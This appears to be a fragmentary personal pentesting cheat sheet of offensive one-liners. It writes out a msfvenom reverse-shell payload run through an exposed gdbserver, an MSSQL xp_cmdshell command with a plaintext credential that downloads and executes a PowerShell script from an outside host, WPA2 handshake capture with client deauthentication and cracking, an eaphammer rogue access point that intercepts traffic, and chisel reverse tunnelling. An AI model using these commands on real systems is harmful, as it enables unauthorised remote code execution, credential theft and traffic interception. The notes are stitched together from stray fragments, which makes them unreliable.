It is possible to obtain remote command execution when a gdb instance is listening. There are several exploits available but this can also be achieved manually. To do so we simply transfer an executable onto the target, reverse shells are juicy candidates, and ask gdb to debug it.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o evil
gdb
gdb$ target extended-remote <target>:<port>
gdb$ remote put evil evil
gdb$ set remote exec-file evil
gdb$ run

-rbndr.us rebinding service.

• p12tool (go).

Once authenticated, upload and execute a reverse shell with impacket's mssqlclient.py.

mssqlclient.py sa:poiuytrewq@10.11.1.31
SQL> xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString(\"http://192.168.119.184:8088/hey.ps1\")"

Turn an interface into monitor mode and start sniffing for networks in range.

# list available interfaces
airmon-ng
ip a
# set interface to monitor mode
airmon-ng start <inferface>
# capture into all_traffic.pcap
airodump-ng -w all_traffic <inferface>mon
tcpdump -i <interface>mon -w app_traffic.pcap

1. Select a target network and wait for the capture of WPA2 handshakes.
2. If needed, activelty de-auth clients to capture handshakes upon their reconnection.
3. Use aircrack-ng / john / hashcat to crack the WPA2 master key from the handshakes.

# Sniff <bssid> on a single <channel> and store into <target>.pcap
airodump-ng -c <channel> --bssid <bssid> -w <target> <interface>mon

# De-auth up to <nb> stations to capture auth packets for good
aireplay-ng -0 <nb> -a <target bssid> <interface>mon

# Taxi, crack that key!
aircrack-ng -a 2 -w /path/to/dictionary.txt target.pcap

It requires two wireless interfaces: one connected to internet or to the target network and another, ideally powerful, interface that will server as an access point. eaphammer can be used to generate a certificate and then run a fake WPA2-MGMT access point replicating the target's ESSID and BSSID. The attacker gets complete control over every client's traffic which connects to the rogue access point without checking the certificate against a trusted one.

$ eaphammer --cert-wizard
$ eaphammer -i wlan0 -I wlan1 --essid "Target" --bssid 01:02:03:aa:bb:cc

chisel is another networking swiss army knife (get precompiled binaries from the release page).

# On local machine
./chisel server -p 7777 --reverse
# On remote
./chisel client 10.10.1.2:7777 R:5985:10.10.3.4:5985

You can retrieve compiled executables for socat on the wonderful static-binaries project: linux x86_64

First, check out cheat.sh/socat for cool usage tips. Below are the ones I use the most.